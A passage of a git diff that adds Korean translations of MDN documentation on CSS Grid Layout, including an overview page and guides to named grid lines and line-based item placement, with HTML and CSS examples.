+    grid: "hd hd hd hd   hd   hd   hd   hd   hd" minmax(100px, auto)
+    "sd sd sd main main main main main main" minmax(100px, auto)
+    "ft ft ft ft   ft   ft   ft   ft   ft" minmax(100px, auto)
+    / 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr ;
+}
+
+ +

이 단축용법이 제공하는 다른 기능은 나중에 자동 배치와 grid-auto-flow 프로퍼티를 알아보는 가이드에서 다시 살펴보겠습니다.

+ +

만약 지금까지의 초반 가이드들을 쭉 훑어보셨다면, 이제 라인을 기준으로 한 배치나 이름이 지명된 영역을 사용해서 그리드 레이아웃을 만드실 수 있는 위치까지 도달하셨습니다. 다음엔 충분한 시간을 가지고 그리드를 사용해서 몇몇 일반적인 레이아웃 패턴을 만들어 보시도록 하십시오. 앞으로 더 배워야 할 많은 새로운 기술 용어들이 있지만, 이들의 문법은 비교적 이해하기 쉬울 겁니다. 여러 예제를 다루시면서, 지금까지 다루지 않았던 것들에 대한 여러 의문점과 복잡한 사용 사례들을 마주칠 수 있을 겁니다. 이번 가이드의 나머지 부분에서는 표준 명세서에 있는 좀 더 자세한 사항들을 알아 볼 예정입니다. 그래서 앞으로 소개될 기술을 가지고 좀 더 복잡한 고급 레이아웃을 만들 수 있게 되시길 바랍니다.

+ + diff --git a/files/ko/web/css/css_grid_layout/index.html b/files/ko/web/css/css_grid_layout/index.html new file mode 100644 index 0000000000..f3d2b42199 --- /dev/null +++ b/files/ko/web/css/css_grid_layout/index.html @@ -0,0 +1,253 @@ +--- +title: CSS 그리드 레이아웃 +slug: Web/CSS/CSS_Grid_Layout +tags: + - CSS + - Grid Layout + - Grids + - 개요 + - 그리드 + - 그리드 레이아웃 + - 레이아웃 + - 참고 +translation_of: Web/CSS/CSS_Grid_Layout +--- +

CSS 그리드 레이아웃(Grid Layout)은 페이지를 여러 주요 영역으로 나누거나, 크기와 위치 및 문서 계층 구조의 관점에서 HTML 기본 요소로 작성된 콘트롤 간의 관계를 정의하는 데 아주 탁월합니다.

+ +

테이블과 마찬가지로 그리드 레이아웃은 세로 열과 가로 행을 기준으로 요소를 정렬할 수 있습니다. 하지만, 테이블과 달리 CSS 그리드는 다양한 레이아웃을 훨씬 더 쉽게 구현할 수 있습니다. 예를 들어, 그리드 컨테이너 속 자식 요소를, 마치 CSS로 일일이 위치를 지정해 준 것처럼, 실제로 겹치게 층을 지면서 자리를 잡도록 각 요소의 위치를 지정해 줄 수도 있습니다.

+ +

기본 예제

+ +

아래 예제는 3개의 세로 열 트랙으로 이루어졌으며, 저절로 채워지며 생성되는 가로 행 트랙은 높이가 최소 100픽셀 이상, 콘텐츠 최대치까지 자동으로 늘어나는 구조의 그리드를 보여줍니다. 각 아이템은 그리드 라인을 기준으로 배치되었습니다.

+ +
+ + +

HTML

+ +
<div class="wrapper">
+  <div class="one">One</div>
+  <div class="two">Two</div>
+  <div class="three">Three</div>
+  <div class="four">Four</div>
+  <div class="five">Five</div>
+  <div class="six">Six</div>
+</div>
+ +

CSS

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-gap: 10px;
+  grid-auto-rows: minmax(100px, auto);
+}
+.one {
+  grid-column: 1 / 3;
+  grid-row: 1;
+}
+.two {
+  grid-column: 2 / 4;
+  grid-row: 1 / 3;
+}
+.three {
+  grid-column: 1;
+  grid-row: 2 / 5;
+}
+.four {
+  grid-column: 3;
+  grid-row: 3;
+}
+.five {
+  grid-column: 2;
+  grid-row: 4;
+}
+.six {
+  grid-column: 3;
+  grid-row: 4;
+}
+
+ +

{{ EmbedLiveSample('example', '500', '440') }}

+
+ +

참고

+ +

CSS 프로퍼티

+ +
+
    +
  • {{cssxref("grid-template-columns")}}
  • +
  • {{cssxref("grid-template-rows")}}
  • +
  • {{cssxref("grid-template-areas")}}
  • +
  • {{cssxref("grid-template")}}
  • +
  • {{cssxref("grid-auto-columns")}}
  • +
  • {{cssxref("grid-auto-rows")}}
  • +
  • {{cssxref("grid-auto-flow")}}
  • +
  • {{cssxref("grid")}}
  • +
  • {{cssxref("grid-row-start")}}
  • +
  • {{cssxref("grid-column-start")}}
  • +
  • {{cssxref("grid-row-end")}}
  • +
  • {{cssxref("grid-column-end")}}
  • +
  • {{cssxref("grid-row")}}
  • +
  • {{cssxref("grid-column")}}
  • +
  • {{cssxref("grid-area")}}
  • +
  • {{cssxref("grid-row-gap")}}
  • +
  • {{cssxref("grid-column-gap")}}
  • +
  • {{cssxref("grid-gap")}}
  • +
+
+ +

CSS 함수

+ +
+
    +
  • {{cssxref("repeat", "repeat()")}}
  • +
  • {{cssxref("minmax", "minmax()")}}
  • +
  • {{cssxref("fit-content", "fit-content()")}}
  • +
+
+ +

CSS 데이터 타입

+ +
+
    +
  • {{cssxref("<flex>")}}
  • +
+
+ +

용어집 목록

+ + + +

가이드

+ + + +

외부 문서

+ + + +

표준 문서

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Grid') }}{{ Spec2('CSS3 Grid') }}Initial definition.
+ + diff --git a/files/ko/web/css/css_grid_layout/layout_using_named_grid_lines/index.html b/files/ko/web/css/css_grid_layout/layout_using_named_grid_lines/index.html new file mode 100644 index 0000000000..bc0957fb2e --- /dev/null +++ b/files/ko/web/css/css_grid_layout/layout_using_named_grid_lines/index.html @@ -0,0 +1,497 @@ +--- +title: Layout using named grid lines +slug: Web/CSS/CSS_Grid_Layout/Layout_using_named_grid_lines +tags: + - CSS + - CSS Grids + - Guide +translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines +--- +

이전 가이드에선 그리드 트랙을 정의하면 생성되는 라인을 사용해서 아이템을 배치하는 법을 살펴보았으며, 또한 이름이 명명된 템플릿 영역을 가지고 어떻게 아이템들을 배치하는지도 알아보았습니다. 이번 가이드에선 이름이 주어진 라인을 쓰는 상황에서 이 두 가지 방법이 서로 어떻게 작용하는지 알아보겠습니다. 라인에 이름을 지어 주는 것이 매우 유용할 때도 있지만, 이름과 트랙 크기가 혼합돼서 사용되는 그리드 용법을 보고 있으면 매우 헷갈릴 수도 있습니다. 하지만 몇 가지 예제를 가지고 작업해 보시면 점점 명확해지면서 나중엔 작업하기도 훨씬 수월해지실 겁니다.

+ +

그리드를 정의할 때 라인의 이름 짓는 법

+ +

grid-template-rows 그리고 grid-template-columns 프로퍼티로 그리드를 정의할 때 그리드에 있는 모든 라인 혹은 일부 라인들에 이름을 지어 줄 수 있습니다. 본보기로 라인을 기준으로 아이템을 배치하는 방법을 설명한 가이드에서 만들었던 간단한 레이아웃을 예로 들어 보겠습니다. 이번엔 이름이 주어진 라인을 써서 그리드를 만들 겁니다.

+ +
+ + +

그리드를 정의할 때, 그리드 라인의 이름은 대괄호 안에 적어줍니다. 여기서 라인 이름은 원하시는 것 아무거나 다 괜찮습니다. 여기선 컨테이너를 감싸는 행과 열 방향의 시작과 끝 라인 모두의 이름을 정의해 주었습니다. 그리드에 있는 모든 라인의 이름을 다 붙여줄 필요는 없습니다만, 그리드 가운데에 있는 블록의 행과 열 방향의 라인 이름을 content-start 그리고 content-end라는 이름을 정의해 주었습니다. 이런 식으로 레이아웃의 몇몇 주요 라인들에만 이름을 붙여주시면 됩니다.

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: [main-start] 1fr [content-start] 1fr [content-end] 1fr [main-end];
+  grid-template-rows: [main-start] 100px [content-start] 100px [content-end] 100px [main-end];
+}
+
+ +

이렇게 라인들에 이름을 짓고 나면, 라인 번호 대신에 이름을 써서 아이템을 배치할 수 있게 됩니다.

+ +
.box1 {
+  grid-column-start: main-start;
+  grid-row-start: main-start;
+  grid-row-end: main-end;
+}
+
+.box2 {
+  grid-column-start: content-end;
+  grid-row-start: main-start;
+  grid-row-end: content-end;
+}
+
+.box3 {
+  grid-column-start: content-start;
+  grid-row-start: main-start;
+}
+
+.box4 {
+  grid-column-start: content-start;
+  grid-column-end: main-end;
+  grid-row-start: content-end;
+}
+
+ +
<div class="wrapper">
+  <div class="box1">One</div>
+  <div class="box2">Two</div>
+  <div class="box3">Three</div>
+  <div class="box4">Four</div>
+</div>
+
+ +

{{ EmbedLiveSample('example_named_lines', '500', '330') }}

+
+ +

라인을 기준으로 배치할 때 적용할 수 있는 다른 모든 사항은 여기서도 똑같은 방식으로 작동하며 이름이 주어진 라인과 라인 번호를 섞어서 사용하실 수도 있습니다. 이름이 주어진 라인의 사용은 그리드를 재정의하는 반응형 디자인을 만들고자 할 때, 미디어 쿼리에서 라인 번호를 바꿔가면서 일일이 콘텐츠의 위치를 다시 정의해 줄 필요가 없다는 장점이 있습니다. 다만, 그리드를 정의할 때 라인의 이름은 항상 같은 것을 사용하도록 주의해야 합니다.

+ +

라인에 여러 개의 이름 지어주기

+ +

라인의 이름을 정할 때 하나 이상의 이름을 붙여주고 싶을 때가 있는데, 예를 들어 sidebar-end 그리고 main-start를 함께 표기하고자 할 때가 있습니다. 이럴 땐 [sidebar-end main-start]처럼 대괄호 안에서 공백을 사이에 두고 이름을 추가해 주면 됩니다. 그러면 해당 라인은 둘 중 아무 이름을 써도 같은 것을 가리키게 됩니다.

+ +

이름이 주어진 라인으로 만들어지는 잠재적 그리드 영역

+ +

라인의 이름을 지어줄 때는 원하시는 이름 아무거나 붙여주셔도 된다고 말씀드린 바 있습니다. 여기에 붙이는 이름은 custom ident로서, 저자가 정의해 준 이름이 됩니다. 이름을 지을 때 명세서에 나타날 수 있는 단어는 피하시는 게 좋으며 span과 같이 혼동을 줄 수 있는 것도 사용하지 말아야 합니다. 그리고 이름에 따옴표가 포함되면 안 됩니다.

+ +

이름은 아무거나 선택하실 수 있지만, 위 예제에 나와 있는 것처럼 만약에 영역 주변에 있는 라인의 이름 끝에 -start 혹은 -end를 붙이면, 그리드는 전체 이름 중 꼬리 부분을 뗀 주요 이름만으로 명명된 영역을 생성하게 됩니다. 위 예제에선, 열과 행의 라인 모두 content-startcontent-end라는 이름이 주어져 있습니다. 이 말은 content라는 이름의 영역이 자동으로 만들어 지면서, 원하시면 어떠한 요소든 해당 영역에 이 이름을 써서 배치할 수 있게 된다는 뜻입니다.

+ +
+ + +

다음 예제에선 위에서와 똑 같은 그리드를 정의해 주었지만, 이번엔 content라는 이름을 가진 영역에 하나의 아이템을 배치하였습니다.

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: [main-start] 1fr [content-start] 1fr [content-end] 1fr [main-end];
+  grid-template-rows: [main-start] 100px [content-start] 100px [content-end] 100px [main-end];
+}
+.thing {
+  grid-area: content;
+}
+
+ +
<div class="wrapper">
+  <div class="thing">I am placed in an area named content.</div>
+</div>
+
+ +

{{ EmbedLiveSample('implicit_areas_from_lines', '500', '330') }}

+
+ +

여기선 라인의 이름을 지어 주면서 해당 라인이 감싸는 영역이 자동으로 만들어졌기 때문에, grid-template-areas를 써서 영역의 위치를 일일이 정의해 줄 필요가 없습니다.

+ +

이름이 주어진 영역으로 만들어지는 잠재적 그리드 라인

+ +

지금까지 라인에 이름을 지어 주면 어떻게 해당 이름으로 된 영역도 함께 만들어지는지 살펴보았으며, 이는 역으로도 작용합니다. 이름이 주어진 템플릿 영역은 그에 어울리는 이름이 붙여진 라인을 생성하면서, 이를 이용해서 아이템을 배치할 수 있게 됩니다. 이전 그리드 템플릿 영역에 관한 가이드에서 만들었던 레이아웃을 그대로 가져와서, 여기에 영역을 지정해서 만들어진 라인을 써서 레이아웃에  적용해 본다면 이것이 어떻게 작동하는지 쉽게 이해하실 수 있을 겁니다.

+ +

다음 예제에선 overlay라는 이름의 클래스를 지정한 추가 div 요소를 더하였습니다. grid-area 프로퍼티를 써서 이름이 주어진 영역을 생성하였고, grid-template-areas 프로퍼티에서 레이아웃을 정의해 주었습니다. 영역의 이름은 다음과 같습니다:

+ +
    +
  • hd
  • +
  • ft
  • +
  • main
  • +
  • sd
  • +
+ +

이렇게 해서 만들어진 열과 행 라인의 이름은 다음과 같습니다:

+ +
    +
  • hd-start
  • +
  • hd-end
  • +
  • sd-start
  • +
  • sd-end
  • +
  • main-start
  • +
  • main-end
  • +
  • ft-start
  • +
  • ft-end
  • +
+ +

이름이 주어진 라인의 모습은 아래 그림에서 확인할 수 있는데, 몇몇 라인들은 두 개의 이름을 가지고 있는 것을 확인하실 수 있습니다. 예를 들면, sd-endmain-start는 같은 열 방향의 라인을 가리키고 있습니다.

+ +

An image showing the implicit line names created by our grid areas.

+ +

여기서 잠재적으로 이름이 주어진 라인을 써서 overlay 요소를 배치하는 방법은 이름을 직접 지정한 라인을 써서 아이템을 배치하는 방법과 똑같습니다.

+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(9, 1fr);
+  grid-auto-rows: minmax(100px, auto);
+  grid-template-areas:
+    "hd hd hd hd   hd   hd   hd   hd   hd"
+    "sd sd sd main main main main main main"
+    "ft ft ft ft   ft   ft   ft   ft   ft";
+}
+
+.header {
+  grid-area: hd;
+}
+
+.footer {
+  grid-area: ft;
+}
+
+.content {
+  grid-area: main;
+}
+
+.sidebar {
+  grid-area: sd;
+}
+
+.wrapper > div.overlay {
+  z-index: 10;
+  grid-column: main-start / main-end;
+  grid-row: hd-start / ft-end;
+  border: 4px solid rgb(92,148,13);
+  background-color: rgba(92,148,13,.4);
+  color: rgb(92,148,13);
+  font-size: 150%;
+}
+
+ +
<div class="wrapper">
+  <div class="header">Header</div>
+  <div class="sidebar">Sidebar</div>
+  <div class="content">Content</div>
+  <div class="footer">Footer</div>
+  <div class="overlay">Overlay</div>
+</div>
+
+ +

{{ EmbedLiveSample('implicit_lines_from_area', '500', '330') }}

+
+ +

이름이 주어진 영역으로부터 라인이 생성되고 또 라인에 이름을 정해주면 거기에 맞는 영역이 만들어지면서, 이를 이용해 아이템을 배치할 수 있다는 점을 고려한다면, 그리드 레이아웃을 만들기 시작할 때 미리 계획해서 이름을 정하는 데 약간의 시간을 할애할 가치가 있음을 알 수 있습니다. 이름을 선택할 때 자신과 자기 팀원들 모두가 쉽게 이해할 수 있는 것으로 정한다면 모두에게 여러분이 만든 레이아웃을 쉽게 이용하는 데 도움을 줄 수 있을 것입니다.

+ +

repeat()을 써서 같은 이름을 가진 여러 개의 라인 만들기

+ +

만약에 그리드에 있는 모든 라인에 독자적인 이름을 지어 주길 원하신다면, 트랙을 정의할 때 반복 용법을 사용하는 대신 대괄호 안에다 이름을 일일이 추가해줘야 해서 약간 장황하게 트랙의 정의를 작성하셔야 합니다. 반복 용법을 사용하게 되면 여러 라인이 같은 이름을 갖게 되는데, 이 또한 매우 유용할 수도 있습니다.

+ +

다음 예제에서는 같은 너비를 가진 열두 개의 열로 구성된 그리드를 생성합니다. 여기선 1fr 너비의 열 트랙을 정의하기 전에 [col-start]라는 라인 이름을 함께 정의해 주었습니다. 이렇게 하면 1fr 너비의 세로 열 전면에 똑같이 col-start라는 이름이 주어진 12개의 열 방향의 라인으로 구성된 그리드를 만들게 됩니다.

+ +
+ + +

 

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(12, [col-start] 1fr);
+}
+ +

이렇게 그리드를 생성하고 나면 여기에다 아이템을 배치할 수 있게 됩니다. 여러 개의 라인 이름을 col-start라는 이름으로 지어 주었기 때문에 col-start 라인을 기준 시작 지점으로 아이템을 배치하게 되면 그리드는 첫 번째에 있는 col-start라는 이름의 라인을 사용하게 되는데, 여기선 맨 왼쪽에 있는 라인이 여기에 해당합니다. 또 다른 라인을 가리키려면 이름과 함께 해당 라인의 번호를 더해주면 됩니다. 아이템을 col-start라는 이름의 첫 번째 라인으로부터 다섯 번째 라인까지 걸치도록 배치하려면 다음과 같이 정의해 줍니다:

+ +
.item1 {
+  grid-column: col-start / col-start 5
+}
+
+ +

또한, 여기선 span 키워드를 쓰실 수도 있습니다. 다음 아이템은 col-start 이름을 가진 일곱 번째 라인부터 세 개의 라인에 걸치도록 배치하였습니다.

+ +
.item2 {
+  grid-column: col-start 7 / span 3;
+}
+
+ +

 

+ +
<div class="wrapper">
+  <div class="item1">I am placed from col-start line 1 to col-start 5</div>
+  <div class="item2">I am placed from col-start line 7 spanning 3 lines</div>
+</div>
+ +

{{ EmbedLiveSample('multiple_lines_same_name', '500', '330') }}

+
+ +

이 레이아웃을 Firefox Grid Highlighter에서 살펴보면 세로 열 라인이 어떻게 구성되어 있는지 그리고 또 아이템들이 이 라인들에 따라 어떻게 배치되었는지 확인하실 수 있습니다.

+ +

The 12 column grid with items placed. The Grid Highlighter shows the position of the lines.

+ +

반복 용법은 또한 트랙의 목록을 나열해서 사용할 수 있으며, 오직 하나의 트랙 크기만 반복하도록 쓰실 필요는 없습니다. 아래의 코드는 여덟 개의 트랙으로 구성된 그리드를 만드는데, 상대적으로 더 좁은 1fr 너비의 col1-start라는 라인 이름이 지정된 세로 열 트랙 다음으로 3fr 너비의 col2-start라는 라인 이름이 지정된 세로 열 트랙으로 구성되어 있습니다.

+ +
.wrapper {
+  grid-template-columns: repeat(4, [col1-start] 1fr [col2-start] 3fr);
+}
+
+ +

만약에 반복 용법에 사용된 두 개의 라인이 서로 겹치게 된다면 그 둘은 나중에 하나로 합쳐지는데, 이는 반복 용법을 쓰지 않고 트랙을 정의할 때 하나의 라인에 여러 개의 이름을 지정해 주는 것과 똑같은 결과를 만들어 냅니다. 다음 정의에선 1fr 너비의 트랙 네 개를 생성하는데, 각 트랙은 서로 시작과 마지막을 지점에 있는 라인을 갖게 됩니다.

+ +
.wrapper {
+  grid-template-columns: repeat(4, [col-start] 1fr [col-end] );
+}
+
+ +

반복 표기법을 쓰지 않고 이번에 정의한 것과 같도록 작성해 준다면 다음과 같이 써줄 수 있습니다.

+ +
.wrapper {
+  grid-template-columns: [col-start] 1fr [col-end col-start] 1fr [col-end col-start] 1fr  [col-end col-start] 1fr [col-end];
+}
+
+ +

트랙 목록을 사용했다면 span 키워드를 써서, 단지 몇 개의 라인들을 걸치게 할지 정해줄 뿐만 아니라, 특정 이름의 라인 몇 개를 걸쳐서 자리를 잡게 할지도 정해 줄 수 있습니다.

+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(6, [col1-start] 1fr [col2-start] 3fr);
+}
+
+.item1 {
+  grid-column: col1-start / col2-start 2
+}
+
+.item2 {
+  grid-row: 2;
+  grid-column: col1-start 2 / span 2 col1-start;
+}
+
+ +
<div class="wrapper">
+  <div class="item1">I am placed from col1-start line 1 to col2-start line 2</div>
+  <div class="item2">I am placed from col1-start line 2 spanning 2 lines named col1-start</div>
+</div>
+
+ +

{{ EmbedLiveSample('span_line_number', '500', '330') }}

+
+ +

최근 세 개의 가이드를 통해서 여러분은 그리드를 이용해 아이템을 배치하는 방법이 아주 다양하다는 것을 발견하셨을 겁니다. 처음엔 이것이 너무 복잡하다고 느끼실 수도 있겠지만, 이 모든 것을 다 이해하고 사용하실 필요는 없다는 점을 기억하시기 바랍니다. 실상황에서 간단하고 명확한 레이아웃을 구현할 경우에는 이름이 지명된 템플릿 영역을 쓰는 것이 적당할 것입니다. 이것은 레이아웃이 어떤 모습을 보여줄지 시각적으로 좋은 묘사를 제공하며, 또한 그리드에 있는 아이템을 이리저리 쉽게 옮길 수도 있습니다.

+ +

또한, 예를 들어 만약에 다중 칼럼에 꼭 들어맞는 레이아웃을 가지고 작업할 때는 이 가이드 마지막 부분에서 설명한 이름이 지정된 라인들을 사용했던 그리드가 제격입니다. 만약에 Foundation 혹은 Boostrap과 같은 프레임워크에서 채용한 그리드 시스템을 고려하신다면, 이들은 12개의 세로 열 그리드를 기준으로 하고 있습니다. 프레임워크에서는 세로 열을 모두 합쳐 최대 100%를 차지하도록 하는 모든 계산이 코드 속에 포함되어 있습니다. 하지만, 그리드 레이아웃에서 이 그리드 "프레임워크"를 구현하는데 필요한 코드는 아래처럼 아주 간단하게 작성할 수 있습니다:

+ +
+
.wrapper {
+  display: grid;
+  grid-gap: 10px;
+  grid-template-columns: repeat(12, [col-start] 1fr);
+}
+
+ +

그러면 페이지 레이아웃에 이 프레임워크를 그대로 가져다 쓰실 수 있습니다. 예를 들어, 헤더와 푸터가 있는 세 개의 세로 열 레이아웃을 구현한다면 아래와 같은 마크업을 작성할 수 있습니다.

+ + + +
<div class="wrapper">
+  <header class="main-header">I am the header</header>
+  <aside class="side1">I am sidebar 1</aside>
+  <article class="content">I am the main article</article>
+  <aside class="side2">I am sidebar 2</aside>
+  <footer class="main-footer">I am the footer</footer>
+</div>
+
+ +

그러면 이것을 이번에 작성한 그리드 레이아웃 프레임워크를 써서 다음과 같이 배치할 수 있습니다.

+ +
.main-header,
+.main-footer  {
+  grid-column: col-start / span 12;
+}
+
+.side1 {
+  grid-column: col-start / span 3;
+  grid-row: 2;
+}
+
+.content {
+  grid-column: col-start 4 / span 6;
+  grid-row: 2;
+}
+
+.side2 {
+  grid-column: col-start 10 / span 3;
+  grid-row: 2;
+}
+
+ +

{{ EmbedLiveSample('three_column', '500', '330') }}

+ +

다시 한번 말씀드리지만, Firefox Grid Highlighter는 지금까지 우리가 배치했던 아이템들이 그리드 위에 어떻게 놓였는지 확인할 때 아주 유용하답니다.

+ +

The layout with the grid highlighted.

+
+ +

필요한 건 이게 전부 다입니다. 복잡한 계산 작업도 필요하지 않고, 그리드가 1fr 크기의 세로 열 트랙에 공간을 할당하기 전에, 자동으로 10픽셀 크기의 경계 여백 트랙이 차지하는 공간을 알아서 제거해 줍니다. 차차 여러분만의 레이아웃을 만들다 보면, 용법에 점점 더 익숙해 지면서 자기에게 맞는 작업 방식을 터득하게 되고, 나중에 만들고자 하는 프로젝트의 유형에 따라 적당한 것을 고를 수 있는 요령이 생기게 되실 겁니다. 우선은 지금까지 소개된 여러 방법들을 가지고 몇몇 자주 쓰이는 레이아웃의 형태들을 만들어 보신다면, 아마도 곧 가장 효율적인 자기만의 작업 방식을 찾으실 수 있을 겁니다. 그러면, 다음 가이드에선 배치 관련 프로퍼티를 전혀 쓰지 않고도 아이템들이 그리드 위에 알아서 배치되도록 만드는 방법을 알아보겠습니다.

+ + diff --git a/files/ko/web/css/css_grid_layout/line-based_placement_with_css_grid/index.html b/files/ko/web/css/css_grid_layout/line-based_placement_with_css_grid/index.html new file mode 100644 index 0000000000..91b32582b4 --- /dev/null +++ b/files/ko/web/css/css_grid_layout/line-based_placement_with_css_grid/index.html @@ -0,0 +1,649 @@ +--- +title: Line-based placement with CSS Grid +slug: Web/CSS/CSS_Grid_Layout/Line-based_placement_with_CSS_grid +tags: + - CSS + - CSS Grids + - Guide +translation_of: Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid +--- +

그리드 레이아웃의 기본 개념을 다룬 문서에서 라인 번호를 사용하여 그리드에 아이템을 배치하는 방법을 잠깐 살펴본 적이 있습니다. 이번 문서에서는 이 기본적 기능이 어떻게 작동하는지를 자세히 살펴보겠습니다.

+ +

그리드를 연구할 때는 번호가 매겨진 라인부터 시작하는 것이 가장 논리적일 겁니다. 왜냐하면, 그리드 레이아웃을 쓸 때마다 거기엔 항상 번호가 매겨진 라인이 있기 때문입니다. 행과 열의 각 라인에는 번호가 매겨져 있으며, 라인에 번호를 매길 때는 1번부터 시작합니다. 그리드 라인은 문서의 작성 모드를 기준으로 번호가 매겨진다는 것을 명심하십시오. 영어와 같이 왼쪽에서 오른쪽으로 읽히는 언어로 쓰인 문서에서는 1번 라인이 그리드의 맨 왼쪽에 위치합니다. 반대로 오른쪽에서 왼쪽으로 읽히는 언어의 문서에서는 1번 라인이 그리드의 맨 오른쪽에 위치하게 됩니다. 문서 작성 모드와 그리드 사이의 상호 작용에 대해서는 나중에 자세히 알아보겠습니다.

+ +

간단한 예제

+ +

아주 간단한 예로, 세 개의 세로 열 트랙과 세 개의 가로 행 트랙으로 구성된 그리드의 예를 들어보겠습니다. 여기엔 각 방향으로 4개의 라인이 있습니다.

+ +

그리드 컨테이너 안에는 네 개의 자식 요소가 있습니다. 이것들을 아무런 조건 없이 그대로 그리드 위에 위치시키면, 자동 배치 규칙에 따라 각 아이템은 처음에 있는 네 개의 셀 위에 놓이게 됩니다. 여기서 Firefox의 Grid Highlighter를 사용하면 그리드의 열과 행이 어떻게 정의되어 있는지 확인하실 수 있습니다.

+ +

Our Grid highlighted in DevTools

+ + + +
.wrapper {
+   display: grid;
+   grid-template-columns: repeat(3, 1fr);
+   grid-template-rows: repeat(3, 100px);
+}
+
+ +
<div class="wrapper">
+   <div class="box1">One</div>
+   <div class="box2">Two</div>
+   <div class="box3">Three</div>
+   <div class="box4">Four</div>
+</div>
+
+ +

{{ EmbedLiveSample('간단한_예제', '300', '330') }}

+ +

라인 번호로 아이템 배치하기

+ +

아이템들을 그리드 위 어느 곳에 자리 잡게 할지 조정할 때는 라인을 기준으로 배치할 수 있습니다. 우선 아래 예제에서는 첫 번째 아이템을 그리드의 맨 왼쪽부터 시작해서 하나의 열 트랙에 자리하도록 하였습니다. 또한, 그리드 상단에 있는 첫 번째 행부터 시작해서 네 번째 행까지 확장하도록 하였습니다.

+ +
+
.box1 {
+   grid-column-start: 1;
+   grid-column-end: 2;
+   grid-row-start: 1;
+   grid-row-end: 4;
+}
+
+ +

몇몇 아이템의 위치를 지정해주면, 그리드에 있는 나머지 다른 아이템들은 자동 배치 규칙에 따라 연달아 놓이게 됩니다. 이 규칙은 나중에 가이드에서 어떻게 작동하는지 자세히 살펴볼 예정입니다만, 그리드와 작업하시면 자리를 지정하지 않은 아이템은 그리드의 비어있는 셀에 자동 배치되는 것을 자주 목격하실 수 있습니다.

+ +

각 아이템을 개별적으로 지정해서 행과 열 트랙에 걸쳐 네 개의 아이템들을 모두 배치할 수 있습니다. 원하시면 여기에 몇몇 셀들을 그냥 비워 둘 수도 있습니다. 그리드 레이아웃의 장점 중 하나는, 비어 있는 공간으로 다른 요소가 떠올라 채워지는 것을 막기 위해 마진을 써서 밀어낼 필요가 없어서, 흰 여백이 들어간 디자인을 쉽게 구현할 수 있다는 점입니다.

+ + + +
<div class="wrapper">
+   <div class="box1">One</div>
+   <div class="box2">Two</div>
+   <div class="box3">Three</div>
+   <div class="box4">Four</div>
+</div>
+
+ +
.box2 {
+   grid-column-start: 3;
+   grid-column-end: 4;
+   grid-row-start: 1;
+   grid-row-end: 3;
+}
+.box3 {
+   grid-column-start: 2;
+   grid-column-end: 3;
+   grid-row-start: 1;
+   grid-row-end: 2;
+}
+.box4 {
+   grid-column-start: 2;
+   grid-column-end: 4;
+   grid-row-start: 3;
+   grid-row-end: 4;
+}
+
+ +

{{ EmbedLiveSample('Line_Number', '300', '330') }}

+
+ +
+

grid-columngrid-row 단축용법

+ +

앞의 예제에선 각 아이템을 배치하기 위해 상당히 많은 코드가 작성되었습니다. 그래서 여기엔 분명 {{glossary("shorthand properties", "단축용법")}}이 있을 거란 예상을 충분히 할 수 있습니다. 실제 {{cssxref("grid-column-start")}}와 {{cssxref("grid-column-end")}} 프로퍼티는 {{cssxref("grid-column")}}으로 합칠 수 있으며, {{cssxref("grid-row-start")}}와 {{cssxref("grid-row-end")}}는 {{cssxref("grid-row")}} 프로퍼티로 정의할 수 있습니다.

+ + + +
<div class="wrapper">
+   <div class="box1">One</div>
+   <div class="box2">Two</div>
+   <div class="box3">Three</div>
+   <div class="box4">Four</div>
+</div>
+
+ +
.box1 {
+   grid-column: 1 / 2;
+   grid-row: 1 / 4;
+}
+.box2 {
+   grid-column: 3 / 4;
+   grid-row: 1 / 3;
+}
+.box3 {
+   grid-column: 2 / 3;
+   grid-row: 1 /  2;
+}
+.box4 {
+   grid-column: 2 / 4;
+   grid-row: 3 / 4;
+}
+
+ +

{{ EmbedLiveSample('Grid_Shorthands', '300', '330') }}

+
+ +

기본 폭(spans)

+ +

위 예제에선, 프로퍼티의 사용법을 설명하려고 모든 행과 열의 마지막 라인을 지정하였습니다. 하지만, 아이템이 오직 하나의 트랙만 차지한다면 grid-column-endgrid-row-end 값은 생략할 수 있습니다. 그리드는 기본적으로 하나의 트랙에 걸치게 돼 있습니다. 이 말은 처음의 장황했던 예제가 다음처럼 단축될 수도 있습니다:

+ +
+ + +
<div class="wrapper">
+   <div class="box1">One</div>
+   <div class="box2">Two</div>
+   <div class="box3">Three</div>
+   <div class="box4">Four</div>
+</div>
+
+ +
.box1 {
+   grid-column-start: 1;
+   grid-row-start: 1;
+   grid-row-end: 4;
+}
+.box2 {
+   grid-column-start: 3;
+   grid-row-start: 1;
+   grid-row-end: 3;
+}
+.box3 {
+   grid-column-start: 2;
+   grid-row-start: 1;
+}
+.box4 {
+   grid-column-start: 2;
+   grid-column-end: 4;
+   grid-row-start: 3;
+}
+
+ +

{{ EmbedLiveSample('End_Lines', '300', '330') }}

+
+ +

또한, 단축용법을 사용했던 예제 중 오직 하나의 트랙에 걸쳐 있는 아이템의 경우에는 뒤로 누운 슬래쉬와 두 번째 값을 생략하고 다음처럼 정의할 수 있습니다.

+ +
+ + +
<div class="wrapper">
+   <div class="box1">One</div>
+   <div class="box2">Two</div>
+   <div class="box3">Three</div>
+   <div class="box4">Four</div>
+</div>
+
+ +
.box1 {
+   grid-column: 1 ;
+   grid-row: 1 / 4;
+}
+.box2 {
+   grid-column: 3 ;
+   grid-row: 1 / 3;
+}
+.box3 {
+   grid-column: 2 ;
+   grid-row: 1 ;
+}
+.box4 {
+   grid-column: 2 / 4;
+   grid-row: 3 ;
+}
+
+ +

{{ EmbedLiveSample('New_Shorthand', '300', '330') }}

+
+ +

grid-area 프로퍼티

+ +

우리는 여기서 한 발 더 나가 각 영역을 단 하나의 프로퍼티인 {{cssxref("grid-area")}}로 정의할 수도 있습니다. grid-area 값의 순서는 다음과 같습니다.

+ +
    +
  • grid-row-start
  • +
  • grid-column-start
  • +
  • grid-row-end
  • +
  • grid-column-end
  • +
+ + + +
<div class="wrapper">
